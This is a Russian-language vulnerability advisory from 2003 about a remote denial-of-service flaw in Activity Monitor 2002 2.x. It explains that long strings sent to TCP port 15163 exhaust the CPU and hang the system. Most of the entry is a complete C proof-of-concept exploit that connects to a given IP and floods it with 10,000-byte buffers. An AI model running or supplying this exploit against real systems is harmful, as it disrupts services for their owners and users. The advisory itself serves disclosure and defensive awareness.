| Дата публикации: | 02.06.2003 |
| Всего просмотров: | 1705 |
| Опасность: | Низкая |
| Наличие исправления: | Нет |
| Количество уязвимостей: | 1 |
| CVE ID: | Нет данных |
| Вектор эксплуатации: | Локальная сеть |
| Воздействие: | Отказ в обслуживании |
| CWE ID: | Нет данных |
| Наличие эксплоита: | Нет данных |
| Уязвимые продукты: | Activity Monitor 2002 2.x |
| Описание: | Отказ в обслуживании обнаружен в Activity Monitor 2002. удаленный пользователь может аварийно завершить работу приложения.
Сообщается, что удаленный пользователь может подключиться к приложению через 15163 TСP порт и послать длинную строку, чтобы заставить приложение использовать 100% ресурсов центрального процессора, что, в конечном счете, приведет к зависанию системы. Эксплоит:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
int main(int argc, char **argv)
int i,ck,port,sd;
char dos[10000];
struct sockaddr_in act_mon_server;
if(argc < 2)
{
printf("\nUsage: %s <ip>\n", argv[0]);
exit(0);
}
port = 15163;
for(i = 0; i < 10000; i++) dos[i] = 'x';
act_mon_server.sin_family = AF_INET;
act_mon_server.sin_port = htons((u_short)port);
act_mon_server.sin_addr.s_addr = (long)inet_addr(argv[1]);
sd = socket(AF_INET, SOCK_STREAM, 0);
ck = connect(sd, (struct sockaddr *) &act_mon_server, sizeof
(act_mon_server));
if(ck != 0) {
perror("Connect");
exit(0);
}
printf("\n\t\tProof of Concept Activity Monitor 2002 DoS\n");
printf("\t\tby Luca Ercoli luca.ercoli@inwind.it\n\n");
write(sd, dos, sizeof(dos));
write(sd, dos, sizeof(dos));
write(sd, dos, sizeof(dos));
printf("\nDoS sent!\n");
close(sd);
exit(0);
Уязвимость обнаружена в Activity Monitor 2002 2.6
|
| Ссылки: | : Activity Monitor 2002 remote Denial of Service |